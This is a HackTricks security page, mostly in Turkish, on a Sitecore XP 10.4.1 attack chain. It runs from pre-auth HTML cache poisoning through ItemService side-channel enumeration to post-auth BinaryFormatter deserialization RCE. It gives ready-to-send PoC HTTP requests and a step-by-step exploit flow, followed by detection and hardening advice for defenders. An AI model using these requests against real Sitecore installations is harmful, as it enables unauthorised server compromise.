Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Bu sayfa, Sitecore XP 10.4.1'e karşı pre‑auth XAML handler'dan HTML cache poisoning'e ve authenticated UI flow aracılığıyla BinaryFormatter deserialization ile RCE'ye dönen pratik bir saldırı zincirini özetler. Teknikler benzer Sitecore sürümlerine/bileşenlerine genelleştirilebilir ve test etmek, tespit etmek ve güçlendirmek için somut primitifler sağlar.

  • Test edilen etkilenen ürün: Sitecore XP 10.4.1 rev. 011628
  • Düzeltildi: KB1003667, KB1003734 (Haziran/Temmuz 2025)

Ayrıca bakınız:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

Giriş noktası, web.config'e kayıtlı pre‑auth XAML handler'dır:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Erişim yolu:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

Kontrol ağacı, AjaxScriptManager içerir; bu da olay isteklerinde attacker‑controlled fields'i okur ve hedeflenen kontrollerde reflection kullanarak metotları çağırır:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Önemli gözlem: XAML sayfası bir XmlControl örneği içeriyor (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl, Sitecore.Web.UI.WebControl'ten (bir Sitecore sınıfı) türemektedir; bu, ReflectionUtil.Filter allow‑list'ini (Sitecore.*) geçirmekte ve Sitecore WebControl üzerindeki metodların kilidini açmaktadır.

Zehirleme için sihirli metod:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Çünkü xmlcontrol:GlobalHeader hedeflenebiliyor ve Sitecore.Web.UI.WebControl metotları isimleriyle çağrılabiliyor, bu da pre‑auth arbitrary HtmlCache write primitive sağlıyor.

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notlar:

  • __SOURCE, Sitecore.Shell.Xaml.WebControl içindeki xmlcontrol:GlobalHeader'ın clientID'sidir (statik XAML'den türetildiği için genellikle ctl00_ctl00_ctl05_ctl03 gibi sabittir).
  • __PARAMETERS formatı Method("arg1","arg2") şeklindedir.

Neyi zehirlemeli: Cache anahtar oluşturma

Sitecore kontrolleri tarafından kullanılan tipik HtmlCache anahtar yapısı:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Bilinen bir sublayout için örnek targeted poisoning:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Önbelleğe alınabilir öğeleri ve “vary by” boyutlarını keşfetme

ItemService anonim olarak (mis)exposed olduysa, önbelleğe alınabilir bileşenleri listeleyerek tam anahtarları elde edebilirsiniz.

Quick probe:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Önbelleğe alınabilir öğeleri ve bayrakları listele:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate gibi alanlara bakın. Cihaz adları şu şekilde listelenebilir:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration kısıtlı kimlikler altında (CVE-2025-53694)

ItemService sınırlı bir hesabı (ör. ServicesAPI) taklit ettiğinde ve boş bir Results dizisi döndürdüğünde bile TotalCount yine de pre‑ACL Solr hits'lerini yansıtabilir. Wildcards ile item gruplarını/ids'i brute‑force yaparak TotalCount'ın daralmasını izleyebilir ve dahili içerik ile cihazları haritalayabilirsiniz:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

convertToRuntimeHtml pipeline step ConvertWebControls aracılığıyla erişilebilir; bu, id'si {iframeId}_inner olan bir elementi arar ve base64 decodes + deserializes eder; ardından ortaya çıkan string'i HTML'e injects eder:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Tetikleme (kimlik doğrulandı, Content Editor yetkileri). FixHtml dialogu convertToRuntimeHtml'i çağırır. UI tıklamaları olmadan baştan sona:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Tam zincir

  1. Pre‑auth saldırgan, XAML AjaxScriptManager üzerinden reflection kullanarak WebControl.AddToCache'ı çağırıp HtmlCache'i keyfi HTML ile zehirler.
  2. Zehirlenmiş HTML, oturum açmış Content Editor kullanıcısını FixHtml akışına yönlendiren JavaScript sunar.
  3. FixHtml sayfası convertToRuntimeHtml → ConvertWebControls akışını tetikler; bu akış BinaryFormatter ile saldırgan kontrollü base64'i deserializes ederek Sitecore app pool identity altında RCE'ye yol açar.

Tespit

  • Pre‑auth XAML: /-/xaml/Sitecore.Shell.Xaml.WebControl için __ISEVENT=1, şüpheli __SOURCE ve __PARAMETERS=AddToCache(...) içeren istekler.
  • ItemService probing: /sitecore/api/ssc wildcard sorgularında ani artışlar, boş Results ile yüksek TotalCount.
  • Deserialization attempts: EditHtml.aspx ardından FixHtml.aspx?hdl=... ve HTML alanlarında olağanüstü büyük base64 değerleri.

Güçlendirme

  • Sitecore yamalarını KB1003667 ve KB1003734 uygulayın; pre‑auth XAML handler'larını engelleyin/devre dışı bırakın veya katı doğrulama ekleyin; /-/xaml/'i izleyin ve rate‑limit uygulayın.
  • BinaryFormatter'ı kaldırın/değiştirin; convertToRuntimeHtml erişimini kısıtlayın veya HTML düzenleme akışlarında güçlü sunucu tarafı doğrulaması uygulayın.
  • /sitecore/api/ssc'yi loopback veya kimlik doğrulanmış rollere kapatın; avoid impersonation patterns that leak TotalCount‑based side channels.
  • Content Editor kullanıcıları için MFA/least privilege uygulayın; cache poisoning'den kaynaklanan JS yönlendirme etkisini azaltmak için CSP'yi gözden geçirin.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin